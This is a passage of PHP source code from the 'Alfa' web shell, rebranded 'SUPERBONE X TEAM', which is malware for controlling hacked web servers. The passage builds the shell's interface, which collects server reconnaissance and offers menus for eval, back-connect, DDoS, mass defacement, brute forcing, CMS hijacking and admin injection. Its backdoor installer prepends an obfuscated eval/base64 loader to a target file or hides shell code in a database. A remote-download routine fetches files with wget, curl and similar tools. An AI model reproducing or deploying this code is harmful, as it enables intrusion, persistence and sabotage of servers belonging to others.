  1640. if(typeof normal != "undefined" || post_encryption_mode == false){
  1641. return window.btoa(unescape(encodeURIComponent(a)));
  1642. }
  1643. return encrypt(a, "'._AlfaSecretKey().'");
  1644. }
  1645. function evalCss(jcss){
  1646. var style = document.createElement("style");
  1647. if (style.styleSheet) {
  1648. style.styleSheet.cssText = jcss;
  1649. } else {
  1650. style.appendChild(document.createTextNode(jcss));
  1651. }
  1652. d.getElementsByTagName("head")[0].appendChild(style);
  1653. }
  1654. function colorHandlerKey(el){
  1655. setTimeout(function(e){
  1656. colorHandler(el);
  1657. }, 200);
  1658. }
  1659. function colorHandler(el){
  1660. var target = el.getAttribute("target");
  1661. var multi = el.getAttribute("multi");
  1662. var ishover = target.indexOf(":hover");
  1663. if(multi){
  1664. var array = JSON.parse(atob(multi));
  1665. var jcss = "";
  1666. for(i in array.multi_selector){
  1667. jcss += i + "{"+array.multi_selector[i].replace(/{color}/g, el.value)+"}";
  1668. }
  1669. evalCss(jcss);
  1670. }
  1671. if(ishover != -1 && !multi){
  1672. $("input_" + target.replace(".","")).value = el.value;
  1673. $("gui_" + target.replace(".","")).value = el.value;
  1674. var css = target+"{color: "+el.value+";}";
  1675. evalCss(css);
  1676. }else{
  1677. $("input_" + target.replace(".","")).value = el.value;
  1678. $("gui_" + target.replace(".","")).value = el.value;
  1679. if(target == ".header_values"){
  1680. target = ".header,.header_values";
  1681. }
  1682. d.querySelectorAll(target).forEach(function(e){
  1683. e.style.color = el.value;
  1684. });
  1685. }
  1686. }
  1687. function importConfig(event){
  1688. var input = event.target;
  1689. var reader = new FileReader();
  1690. reader.onload = function(){
  1691. var data = reader.result;
  1692. try{
  1693. var conf = JSON.parse(data);
  1694. reloadColors(conf);
  1695. }catch(e){
  1696. alert("Config is invalid...!");
  1697. }
  1698. $("importFileBtn").value = "";
  1699. };
  1700. reader.readAsText(input.files[0]);
  1701. }
  1702. function checkBox(){for(i=0;i<d.files.elements.length;i++){if(d.files.elements[i].type == "checkbox"){d.files.elements[i].checked = d.files.elements[0].checked;}}}
  1703. function path_history(pos){
  1704. _Ajax(d.URL,"a="+alfab64("GetPathHistory")+"&ajax="+alfab64("true"),function(e){g("FilesMan", e);},true);
  1705. }
  1706. function runcgi(lang){
  1707. if(cgi_is_minimized && cgi_lang == lang){
  1708. showEditor("cgiloader");
  1709. return false;
  1710. }
  1711. _Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(lang)+"&ajax="+alfab64("true"),function(e){
  1712. d.body.style.overflow = "hidden";
  1713. $("cgiloader").style.display = "block";
  1714. $("cgiframe").innerHTML = e;
  1715. cgi_lang = lang;
  1716. if(cgi_is_minimized){
  1717. $("cgiloader-minimized").setAttribute("class", "minimized-hide");
  1718. setTimeout(function(){
  1719. $("cgiloader").removeAttribute("class");
  1720. if(is_minimized){
  1721. $("editor-minimized").style.top = "30%";
  1722. }
  1723. }, 1000);
  1724. }
  1725. });
  1726. }
  1727. ';
  1728. echo "</script>
  1729. <form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
  1730. <input type='hidden' name='a' value='dlfile'>
  1731. <input type='hidden' name='c' value=''>
  1732. <input type='hidden' name='file' value=''>
  1733. </form>
  1734. <input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
  1735. <img id='a_loader' src='".__showicon('loader')."'>";
  1736. $cmd_uname = alfaEx("uname -a",false,false);
  1737. $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
  1738. if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
  1739. echo '
  1740. </head>
  1741. <body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
  1742. <div id="up_bar"></div>
  1743. <div class="whole">
  1744. <form method="post" name="mf" style="display:none;">
  1745. <input type="hidden" name="a">
  1746. <input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
  1747. for($s=1;$s<=10;$s++){
  1748. echo '<input type="hidden" name="alfa'.$s.'">';
  1749. }
  1750. echo '<input type="hidden" name="charset">
  1751. </form>
  1752. <div id=\'hidden_sh\'><a class="alert_green" target="_blank" href="?solevisible">Hidden Shell<br><small>Version: <span class="hidden_shell_version">'.__ALFA_VERSION__.'</span></small></a></div>
  1753. <div class="header"><table width="100%" border="0">
  1754. <tr>
  1755. <td width="3%"><span class="header_vars">Uname:</span></td>
  1756. <td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
  1757. </tr>
  1758. <tr>
  1759. <td><span class="header_vars">User:</span></td>
  1760. <td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ']</span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
  1761. <td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="" src="https://superbone.team/assets/superbon.png" /></td>
  1762. </tr>
  1763. <tr>
  1764. <td><span class="header_vars">PHP:</span></td>
  1765. <td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
  1766. </tr>
  1767. <tr>
  1768. <td><span class="header_vars">ServerIP:</span></td>
  1769. <td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).' <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b></td>
  1770. </tr>
  1771. <tr>
  1772. <td width="3%"><span class="header_vars">DateTime:</span></td>
  1773. <td colspan="2"><b>'.date('Y-m-d H:i:s').'</b></td>
  1774. </tr>
  1775. <tr>
  1776. <td><span class="header_vars">Domains:</span></td>
  1777. <td width="76%"><span class="header_values" id="header_domains">';
  1778. if($GLOBALS['sys']=='unix'){
  1779. $d0mains = _alfa_file("/etc/named.conf",false);
  1780. if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
  1781. $count=0;
  1782. foreach($d0mains as $d0main){
  1783. if(@strstr($d0main,"zone")){
  1784. preg_match_all('#zone "(.*)"#', $d0main, $domains);
  1785. flush();
  1786. if(strlen(trim($domains[1][0])) > 2){
  1787. flush();
  1788. $count++;}}}
  1789. echo "$count Domains";}}
  1790. else{echo("Cant Read [ /etc/named.conf ]");}
  1791. echo '</span></td>
  1792. </tr>
  1793. <tr>
  1794. <td height="16"><span class="header_vars">HDD:</span></td>
  1795. <td><span class="header_vars">Total:</span><b>'.alfaSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
  1796. </tr>';
  1797. if($GLOBALS['sys']=='unix'){
  1798. $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
  1799. if(!@ini_get('safe_mode')){
  1800. if(strlen(alfaEx("id",false,false))>0){
  1801. echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
  1802. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
  1803. $x=0;
  1804. foreach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
  1805. if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
  1806. echo '</td>
  1807. </tr>
  1808. <tr>
  1809. <td height="0" colspan="2"><span class="header_vars">Downloader: </span>';
  1810. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  1811. $x=0;
  1812. foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
  1813. if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
  1814. echo '</td>
  1815. </tr>';
  1816. }else{
  1817. echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
  1818. }
  1819. }else{
  1820. echo $useful_downloader;$GLOBALS["need_to_update_header"] = "true";
  1821. }
  1822. }else{
  1823. echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
  1824. echo alfaEx('ver',false,false);
  1825. echo '</td>
  1826. </tr> <tr>
  1827. <td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
  1828. </tr></b>';
  1829. }
  1830. $quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes == "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
  1831. echo '<tr>
  1832. <td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Alfa_GetDisable_Function().'</b></td>
  1833. </tr>
  1834. <tr>
  1835. <td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td><td width="15%"><center><a href="http://zone-h.org/archive/notifier=ALFA%20TEaM%202012" target="_blank"><span><font class="solevisible-text" color="#0F0">SUPERBONE X TEAM</font></span></a></center></td>
  1836. </tr>
  1837. <tr>
  1838. <td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
  1839. </tr>
  1840. <tr>
  1841. <td height="11"><span class="header_vars">SoftWare: </span></td>
  1842. <td colspan="2"><b>'.@getenv('SERVER_SOFTWARE').'</b></td>
  1843. </tr>';
  1844. if($GLOBALS['sys']=="win"){
  1845. echo '<tr>
  1846. <td height="12"><span class="header_vars">DRIVE:</span></td>
  1847. <td colspan="2"><b>'.$drives.'</b></td>
  1848. </tr>';
  1849. }
  1850. echo '<tr>
  1851. <td height="12"><span class="header_vars">PWD:</span></td>
  1852. <td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="javascript:void(0);" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a><a href="javascript:void(0);" onclick="path_history(\'back\');"><span class="back_shell">[ BACK ]</span></a></td>
  1853. </tr>
  1854. </table>
  1855. </div>
  1856. <div id="meunlist">
  1857. <ul>
  1858. ';
  1859. $li = array('FilesMan'=>'Home','proc'=>'Process','phpeval'=>'Eval','sql'=>'SQL Manager','dumper'=>'Mysql Dumper','hash'=>'En-Decoder','connect'=>'BC','ssh2'=>'SSH2',
  1860. 'zoneh'=>'ZONE-H','dos'=>'DDOS','safe'=>'ByPasser','cgishell'=>'Cgi Shell','ssiShell'=>'SSI SHELL','cpcrack'=>'Hash Tools',
  1861. 'portscanner'=>'Port Scaner','basedir'=>'Open BaseDir','mail'=>'Fake Mail','ziper'=>'Compressor','IndexChanger'=>'Index Changer','pwchanger'=>'Add New Admin','ShellInjectors'=>'Shell Injectors',
  1862. 'php2xml'=>'PHP2XML','cloudflare'=>'CloudFlare','Whmcs'=>'Whmcs DeCoder','symlink'=>'Symlink','MassDefacer'=>'Mass Defacer','Crackers'=>'BruteForcer','searcher'=>'Searcher',
  1863. 'cmshijacker'=>'CMS Hijacker','remotedl'=>'Remote Upload','inbackdoor'=>'Install BackDoor','whois'=>'Whois','settings'=>'Alfa Settings','plus'=>'<span class="alfa_plus">Alfa +</font>','selfrm'=>'Remove Shell'
  1864. );
  1865. foreach($li as $key=>$value){
  1866. echo('<li><a href="javascript:void(0);" class="menu_options" onclick="g(\''.$key.'\',null,\'\',\'\',\'\');">'.$value.'</a></li>'."\n");
  1867. }
  1868. if(!empty($_SESSION['AlfaUser']) && !empty($_SESSION['AlfaPass']))
  1869. echo '<li><a href="javascript:void(0);" onclick="g(\'logout\',null,\'\',\'\',\'\');setTimeout(function(){location.reload();},2000);"><font color="red">LogOut</font></a></li></ul></div>';
  1870. else
  1871. echo '</ul></div>';}else{
  1872. @error_reporting(E_ALL ^ E_NOTICE);
  1873. @ini_set('error_log',NULL);
  1874. @ini_set('log_errors',0);
  1875. @ini_set('max_execution_time',0);
  1876. @ini_set('magic_quotes_runtime', 0);
  1877. @set_time_limit(0);
  1878. }}
  1879. function alfalogout(){
  1880. unset($_SESSION['AlfaUser'],$_SESSION['AlfaPass']);
  1881. echo("<center><font color='red'>Logout...</font></center>");
  1882. }
  1883. function showAnimation($name){
  1884. return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
  1885. }
  1886. function __showicon($r){
  1887. $s['btn']='http://solevisible.com/images/btn.png';
  1888. $s['alfamini']='http://solevisible.com/images/alfamini.png';
  1889. $s['loader']='http://solevisible.com/images/loader.png';
  1890. //return 'data:image/png;base64,'.__get_resource($s[$r]);
  1891. return $s[$r];
  1892. }
  1893. function alfainbackdoor(){
  1894. alfahead();
  1895. echo '<div class=header><center><p><div class="txtfont_header">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'file\')">| In File |</a><a href=javascript:void(0) onclick="g(\'inbackdoor\',null,\'db\')">| In DataBase | </a></h3></center>';
  1896. $error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
  1897. $success= '<font color="green">Success...!';
  1898. $textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
  1899. $select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
  1900. $cwd = 'Example: /home/alfa/public_html/index.php';
  1901. if($_POST['alfa1']=='file'){
  1902. echo("<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\">{$select} <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='{$cwd}'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '>{$textarea}</form></p></center>");
  1903. if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa4']!=''){
  1904. $method = $_POST['alfa2'];
  1905. $file = $_POST['alfa3'];
  1906. $shell = $_POST['alfa4'];
  1907. $key = str_replace(array('"','\''),'',trim($_POST['alfa5']));
  1908. if($key=='')$key='alfa';
  1909. if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
  1910. $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x("'.$shell.'");exit;}?>';
  1911. if(@is_file($file)&&@is_writable($file)){@file_put_contents($file,$code."\n".@file_get_contents($file));__alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}
  1912. if($_POST['alfa1']=='db'){
  1913. echo("<center><p><div class='txtfont_header'>| In DataBase |</div></p>".getConfigHtml('all')."<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">");
  1914. $table = array('td1' =>
  1915. array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  1916. 'td2' =>
  1917. array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  1918. 'td3' =>
  1919. array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  1920. 'td4' =>
  1921. array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  1922. 'td5' =>
  1923. array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true),
  1924. 'td6' =>
  1925. array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50')
  1926. );
  1927. create_table($table);
  1928. echo("<p>{$select}</p>");
  1929. echo($textarea);
  1930. echo("<p><input type='submit' value=' '></p></form></p></center>");
  1931. if($_POST['alfa2']!=''&&$_POST['alfa3']!=''&&$_POST['alfa5']!=''&&$_POST['alfa6']!=''){
  1932. $dbhost = $_POST['alfa2'];
  1933. $dbuser = $_POST['alfa3'];
  1934. $dbpw = $_POST['alfa4'];
  1935. $dbname = $_POST['alfa5'];
  1936. $file = $_POST['alfa6'];
  1937. $method = $_POST['alfa7'];
  1938. $shell = $_POST['alfa8'];
  1939. $key = str_replace(array('"','\''),'',trim($_POST['alfa9']));
  1940. if($key=='')$key='alfa';
  1941. if($method=='my'){$shell=__ZW5jb2Rlcg($shell);}else{$shell=$GLOBALS['__ALFA_SHELL_CODE'];}
  1942. if($conn = mysqli_connect($dbhost,$dbuser,$dbpw,$dbname)){
  1943. $code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="'.$key.'"){$conn=mysqli_connect("'.str_replace('"','\"',$dbhost).'","'.str_replace('"','\"',$dbuser).'","'.str_replace('"','\"',$dbpw).'","'.str_replace('"','\"',$dbname).'");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\$c));");$x($r["code"]);exit;}?>';
  1944. if(@is_file($file)&&@is_writable($file)){
  1945. @mysqli_query($conn,'DROP TABLE `alfa_bc`');
  1946. @mysqli_query($conn,'CREATE TABLE `alfa_bc` (code LONGTEXT)');
  1947. @mysqli_query($conn,'INSERT INTO `alfa_bc` VALUES("'.$shell.'")');
  1948. @file_put_contents($file,$code."\n".@file_get_contents($file));
  1949. __alert($success."<br>Run With: ".basename($file)."?alfa=".$key.'</font>');}else{__alert($error);}}}}
  1950. echo('</div>');
  1951. alfafooter();
  1952. }
  1953. function alfawhois(){
  1954. echo("<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>");
  1955. if($_POST['alfa2']=='>>'&&!empty($_POST['alfa1'])){
  1956. $site = str_replace(array('http://','https://','www.','ftp://'),'',$_POST['alfa1']);
  1957. $target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain='.$site;
  1958. $data = @file_get_contents($target);
  1959. if($data==''){$get = new AlfaCURL();$get->ssl = true;$data = $get->Send($target);}
  1960. $target = @json_decode($data,true);
  1961. echo __pre();
  1962. if(is_array($target)){echo($target["whois_raw"]);}else{echo alfaEx("whois ".$site);}}
  1963. echo("</div>");
  1964. }
  1965. function alfaremotedl(){
  1966. alfahead();
  1967. echo("<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>
  1968. <form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">
  1969. <p><div class='txtfont'>Url: </div>&nbsp;&nbsp;&nbsp;<input type='text' name='d' size='50'></p>
  1970. <div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='".$GLOBALS['cwd']."'><p><input type='submit' value=' '></p>
  1971. </form></p></center>");
  1972. if(isset($_POST['alfa1'],$_POST['alfa2'],$_POST['alfa3'])&&!empty($_POST['alfa1'])&&$_POST['alfa3']=='>>'){
  1973. echo __pre();
  1974. $url = $_POST['alfa1'];
  1975. $path = $_POST['alfa2'];
  1976. echo('<center>');
  1977. if(__download($url,$path)){
  1978. echo('<font color="green">Success...!</font>');
  1979. }else{
  1980. echo('<font color="red">Error...!</font>');
  1981. }
  1982. echo('</center>');
  1983. }
  1984. echo("</div>");
  1985. alfafooter();
  1986. }
  1987. function __download($url,$path=false){
  1988. if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
  1989. $saveas = basename(rawurldecode($url));
  1990. if($path){$saveas=$path.$saveas;}
  1991. if($content = __read_file($url)){
  1992. if(@is_file($saveas))@unlink($saveas);
  1993. if(__write_file($saveas, $content)){return true;}}
  1994. $buff = alfaEx("wget ".$url." -O ".$saveas);
  1995. if(@is_file($saveas)) return true;
  1996. $buff = alfaEx("curl ".$url." -o ".$saveas);
  1997. if(@is_file($saveas)) return true;
  1998. $buff = alfaEx("lwp-download ".$url." ".$saveas);
  1999. if(@is_file($saveas)) return true;
  2000. $buff = alfaEx("lynx -source ".$url." > ".$saveas);
  2001. if(@is_file($saveas)) return true;
  2002. $buff = alfaEx("GET ".$url." > ".$saveas);
  2003. if(@is_file($saveas)) return true;
  2004. $buff = alfaEx("links -source ".$url." > ".$saveas);
  2005. if(@is_file($saveas)) return true;
  2006. $buff = alfaEx("fetch -o ".$saveas." -p ".$url);
  2007. if(@is_file($saveas)) return true;
  2008. return false;
  2009. }
  2010. function clean_string($string){
  2011. if(function_exists("iconv")){
  2012. $s = trim($string);
  2013. $s = iconv("UTF-8", "UTF-8//IGNORE", $s);
  2014. }
  2015. return $s;
  2016. }
  2017. function __read_file($file, $boom = true){
  2018. $content = false;
  2019. if($fh = @fopen($file, "rb")){
  2020. $content = "";
  2021. while(!feof($fh)){
  2022. $content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
  2023. }
  2024. }
  2025. if(empty($content)||!$content){
  2026. $content = alfaEx("cat '".addslashes($file)."'");
  2027. }
  2028. return $content;
  2029. }
  2030. function alfaSettings(){
  2031. alfahead();
  2032. AlfaNum(6,7,8,9,10);
  2033. echo '<div class=header><center><p><div class="txtfont_header">| Settings |</div></p><h3><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'main\')">| Generall Setting | </a><a href=javascript:void(0) onclick="g(\'settings\',null,null,null,null,null,null,null,null,\'color\')">| Change Color | </a></h3></center>';
  2034. if($_POST["alfa8"] == "main"){
  2035. echo '<p><center><div class="txtfont_header">| Settings |</div></p><form onSubmit="reloadSetting(this);return false;" method=\'post\'>';
  2036. $lg_array = array('0'=>'No','1'=>'Yes');
  2037. $penc_array = array('false'=>'No','true'=>'Yes');
  2038. $protect_html = "";
  2039. $icon_html = "";
  2040. $postEnc_html = "";
  2041. $login_html = "";
  2042. foreach($lg_array as $key=>$val)$protect_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['safemode']=='1'?'selected':'').'>'.$val.'</option>';
  2043. foreach($lg_array as $key=>$val)$icon_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['show_icons']=='1'?'selected':'').'>'.$val.'</option>';
  2044. foreach($penc_array as $key=>$val)$postEnc_html .= '<option value="'.$key.'" '.(!empty($_POST['alfa7'])&&$_POST['alfa7']==$key?"selected":(__ALFA_POST_ENCRYPTION__&&empty($_POST['alfa7'])?'selected':'')).'>'.$val.'</option>';
  2045. $lg_array = array("gui"=>"GUI","500"=>"500 Internal Server Error","403"=>"403 Forbidden","404"=>"404 NotFound");
  2046. foreach($lg_array as $key=>$val)$login_html .= '<option value="'.$key.'" '.($GLOBALS['DB_NAME']['login_page']==$key?'selected':'').'>'.$val.'</option>';
  2047. echo '';
  2048. echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">'.$protect_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">'.$postEnc_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">'.$icon_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">'.$login_html.'</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="'.(empty($_POST['alfa3'])?$GLOBALS['DB_NAME']['user']:$_POST['alfa3']).'" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="'.$GLOBALS['DB_NAME']['safemode'].'"><input type="hidden" name="s" value="'.$GLOBALS['DB_NAME']['show_icons'].'"><p><input type="submit" name="btn" value=" "></p></form></center>';
  2049. if($_POST['alfa5']=='>>'){
  2050. echo __pre();
  2051. if(!empty($_POST['alfa3'])){
  2052. $protect = $_POST['alfa1'];
  2053. $lgpage = $_POST['alfa2'];
  2054. $username = $_POST['alfa3'];
  2055. $password = md5($_POST['alfa4']);
  2056. $icon = $_POST['alfa6'];
  2057. $post_encrypt = $_POST['alfa7'];
  2058. @chdir($GLOBALS['home_cwd']);
  2059. $basename = @basename($_SERVER['PHP_SELF']);
  2060. $data = @file_get_contents($basename);
  2061. $find_user = '/\'user\'(.*?),/i';
  2062. $find_pw = '/\'pass\'(.*?),/i';
  2063. $find_lg = '/\'login_page\'(.*?),/i';
  2064. $find_p = '/\'safemode\'(.*?),/i';
  2065. $icons = '/\'show_icons\'(.*?),/i';
  2066. $postEnc = '/\'post_encryption\'(.*?),/i';
  2067. if(!empty($username)&&preg_match($find_user,$data,$e)){
  2068. $new = '\'user\' => \''.$username.'\',';
  2069. $data = str_replace($e[0],$new,$data);
  2070. }
  2071. if(!empty($_POST['alfa4'])&&preg_match($find_pw,$data,$e)){
  2072. $new = '\'pass\' => \''.$password.'\',';
  2073. $data = str_replace($e[0],$new,$data);
  2074. }
  2075. if(!empty($lgpage)&&preg_match($find_lg,$data,$e)){
  2076. $new = '\'login_page\' => \''.$lgpage.'\',';
  2077. $data = str_replace($e[0],$new,$data);
  2078. }
  2079. if(!empty($find_p)&&preg_match($find_p,$data,$e)){
  2080. $new = '\'safemode\' => \''.$protect.'\',';
  2081. $data = str_replace($e[0],$new,$data);
  2082. }
  2083. if(preg_match($icons,$data,$e)){
  2084. $new = '\'show_icons\' => \''.$icon.'\',';
  2085. $data = str_replace($e[0],$new,$data);
  2086. }
  2087. if(preg_match($postEnc,$data,$e)){
  2088. $new = '\'post_encryption\' => '.$post_encrypt.',';
  2089. $data = str_replace($e[0],$new,$data);
  2090. }
  2091. if(@file_put_contents($basename,$data)){
  2092. echo '<b>UserName: </b><font color="green"><b>'.$username.'</b></font><br /><b>Password: </b><font color="green"><b>'.$_POST['alfa4'].'</b></font><script>post_encryption_mode = '.$post_encrypt.';</script>';
  2093. }else{
  2094. __alert("<span style='color:red;'>File has no edit access...!</span>");
  2095. }
  2096. }else{
  2097. __alert("<span style='color:red;'>UserName is Empty !</span>");
  2098. }
  2099. }
  2100. }elseif($_POST["alfa8"] == "color"){
  2101. echo('<center><p><div class="txtfont_header">| Custom Color |</div></p><form onSubmit="reloadColors();return false;" method=\'post\'>');
  2102. echo '<table border="1"><tbody>';
  2103. $template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
  2104. $x = 1;
  2105. foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
  2106. $multi = "";
  2107. if(is_array($value)){
  2108. if(isset($value["multi_selector"])){
  2109. $multi = __ZW5jb2Rlcg(json_encode($value));
  2110. }
  2111. }
  2112. $value = alfa_getColor($key);
  2113. $help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
  2114. echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
  2115. }
  2116. echo '<tr><td style="text-align:center;">-</td><td style="text-align:center;"><div class="tbltxt">*</div></td><td><div style="margin-left:5px;" class="tbltxt">Use Default Color:</div></td><td></td><td><center><input type="checkbox" id="use_default_color" value="1"></center></td></tr>';
